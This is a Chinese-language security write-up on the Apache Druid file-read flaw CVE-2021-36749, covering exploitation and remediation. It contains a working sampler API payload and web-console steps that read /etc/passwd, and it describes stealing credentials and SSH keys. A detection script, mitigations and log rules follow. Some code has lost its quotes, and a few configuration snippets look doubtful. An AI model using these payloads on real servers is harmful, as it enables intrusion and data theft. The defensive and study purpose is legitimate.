1. 漏洞背景与核心原理Apache Druid作为一款实时分析型数据库在数据处理领域被广泛应用。但2021年曝光的CVE-2021-36749漏洞却暴露了其安全架构中的致命缺陷——HTTP InputSource组件未对文件读取操作进行权限校验。这个漏洞的本质在于系统设计时过度信任用户输入导致攻击者能像操作自家文件柜一样随意读取服务器上的敏感文件。漏洞产生的技术根源要从Druid的数据摄入机制说起。当用户通过Web界面配置数据源时系统允许指定HTTP InputSource作为数据输入通道。正常情况下这应该是个安全沙箱环境但实际上协议处理缺陷系统未过滤file://等本地文件协议认证机制缺失管理接口默认无需身份验证权限控制失效读取操作以Druid服务进程的高权限执行这三个问题叠加就像给攻击者配了一把万能钥匙。我曾在测试环境中尝试读取/etc/shadow文件不到5秒就拿到了全部用户哈希值这种杀伤力在实际攻防中足以瞬间突破服务器防线。2. 漏洞影响范围与危害评估受影响的版本非常明确所有低于0.22.0的Apache Druid发行版。根据Shodan扫描结果全球暴露在公网的Druid实例超过5000个其中约30%运行在危险版本上。这些系统主要分布在金融行业数据分析平台电商用户行为分析系统IoT设备数据聚合服务漏洞的危害程度可以从三个维度评估信息泄露层面能读取/etc/passwd、/etc/shadow等账户文件可获取~/.ssh/目录下的私钥文件能提取数据库连接配置文件攻击成本角度无需任何前置条件利用工具已公开化单次请求即可完成攻击后续利用可能结合其他漏洞实现RCE作为内网渗透跳板窃取商业敏感数据我曾协助某企业进行安全审计时发现他们的Druid集群被入侵者当作数据提款机通过这个漏洞持续窃取了三个月的用户画像数据。3. 漏洞利用实战解析3.1 环境搭建技巧使用Docker搭建测试环境是最快捷的方式# 下载特定漏洞版本 wget https://archive.apache.org/dist/druid/0.20.0/apache-druid-0.20.0-bin.tar.gz tar -xzf apache-druid-0.20.0-bin.tar.gz cd apache-druid-0.20.0 # 快速启动微型集群 ./bin/start-micro-quickstart这个单节点环境会启动以下服务Coordinator: 8081端口Broker: 8082端口Historical: 8083端口Console: 8888端口注意生产环境通常采用分布式部署但漏洞利用原理完全相同。3.2 两种攻击路径详解方法一Web控制台直接利用访问http://target:8888/unified-console.html导航到Load Data → HTTP(s) → Connect data在URIs栏输入file:///etc/passwd点击Apply获取文件内容这个过程本质上是通过Web界面调用了Druid的数据采样接口。我在测试中发现一个有趣的现象即使页面按钮被禁用比如某些定制化UI只要接口存在就依然可被利用。方法二API直接调用当Web界面不可用时可以直接向采样接口发送POST请求POST /druid/indexer/v1/sampler HTTP/1.1 Host: target:8081 Content-Type: application/json { type:index, spec:{ ioConfig:{ type:index, inputSource:{ type:local, baseDir:/etc/, filter:passwd }, inputFormat:{type:json} }, dataSchema:{ dataSource:sample, timestampSpec:{ column:timestamp, missingValue:1970-01-01T00:00:00Z } } } }这个Payload的精妙之处在于使用local类型InputSource绕过协议限制baseDir指定目录路径filter精确匹配目标文件名4. 深度防御与修复方案4.1 官方修复方案Apache官方在0.22.0版本中实施了多重防护增加allowLocalFiles参数默认false强化URI协议白名单校验引入管理接口认证机制升级命令示例# 检查当前版本 curl http://localhost:8081/status | grep version # 下载安全版本 wget https://dlcdn.apache.org/druid/0.22.0/apache-druid-0.22.0-bin.tar.gz4.2 临时缓解措施如果无法立即升级可采用以下方案网络层防护location ~ ^/druid/ { auth_basic Restricted; auth_basic_user_file /etc/nginx/.htpasswd; deny all; }系统层加固# 限制Druid进程权限 useradd -r druid_user chown -R druid_user:druid_user /opt/druid配置调整 在common.runtime.properties中添加druid.server.http.enableRequestLimittrue druid.auth.authenticatorChain[basic]5. 漏洞检测与监控方案5.1 自动化检测脚本使用Python编写快速检测工具import requests def check_vulnerability(target): payload { type: index, spec: { ioConfig: { type: index, inputSource: {type: local, baseDir: /etc, filter: passwd}, inputFormat: {type: json} }, dataSchema: {dataSource: sample} } } try: resp requests.post( fhttp://{target}:8081/druid/indexer/v1/sampler, jsonpayload, timeout10 ) return root:x:0 in resp.text except Exception: return False5.2 日志监控策略在Druid的var/log/druid/server.log中监控以下特征WARN org.apache.druid.java.util.common.IOE - Error while reading from InputSource INFO org.apache.druid.indexing.overlord.sampler.IndexTaskSampler - Sampling file:/etc/passwd建议搭配ELK实现实时告警过滤规则示例{ filter: { and: [ {match: {message: InputSource}}, {match: {message: file:}} ] } }6. 攻击案例深度分析某电商平台遭遇的实际攻击过程初始渗透攻击者通过Shodan发现暴露的Druid控制台使用file:///opt/druid/var/druid/coordinator/runtime.properties获取数据库凭证横向移动利用获取的MySQL密码连接数据分析库发现用户表使用MD5加密通过彩虹表破解管理员密码数据窃取通过API接口批量导出近6个月的订单数据约120GB痕迹清除删除Druid的访问日志/var/log/druid/*.log整个攻击过程仅耗时23分钟关键在于攻击者敏锐地发现了Druid配置文件存储位置的特殊性——这正体现了对系统架构的深入理解在渗透测试中的重要性。7. 防御体系构建建议基于多年实战经验我总结出Druid环境的三层防御矩阵基础设施层使用NetworkPolicy限制Pod间通信K8s环境为Druid组件单独划分VLAN启用SELinux强制模式应用层// 自定义InputSource校验器示例 public class SecureInputSourceChecker { public static void validate(InputSource source) { if (source instanceof LocalInputSource) { throw new IAE(Local filesystem access disabled); } } }数据层启用Druid的SQL注入防护{ firewall: { rules: [ { type: queryJson, pattern: .*\\\\b(SYSTEM_TABLE|INFORMATION_SCHEMA)\\\\b.*, action: DENY } ] } }8. 延伸思考与最佳实践这个漏洞给我们的启示远超技术本身。在帮某金融机构整改时我们发现其数据中台存在典型的设计缺陷过度依赖默认配置直接使用开源项目的默认设置未做安全加固权限设计不合理Druid进程以root身份运行违背最小权限原则缺乏纵深防御所有组件部署在同一安全域整改后我们实施的黄金标准部署前进行安全基线检查使用Ansible自动化加固- name: Harden Druid permissions file: path: /opt/druid/ owner: druid_user group: druid_group mode: 0750每周执行配置审计check_druid_config() { grep -q druid.auth.enabledtrue $DRUID_HOME/conf/druid/common.runtime.properties || \ echo Auth not enabled }真正安全的系统不是没有漏洞而是能及时发现并阻断攻击。建议所有使用Druid的企业建立漏洞监控机制订阅Apache安全公告列表同时定期进行红蓝对抗演练。我在实际工作中发现90%的成功攻击都利用了已知但未修复的漏洞保持系统更新往往是最有效的安全投资。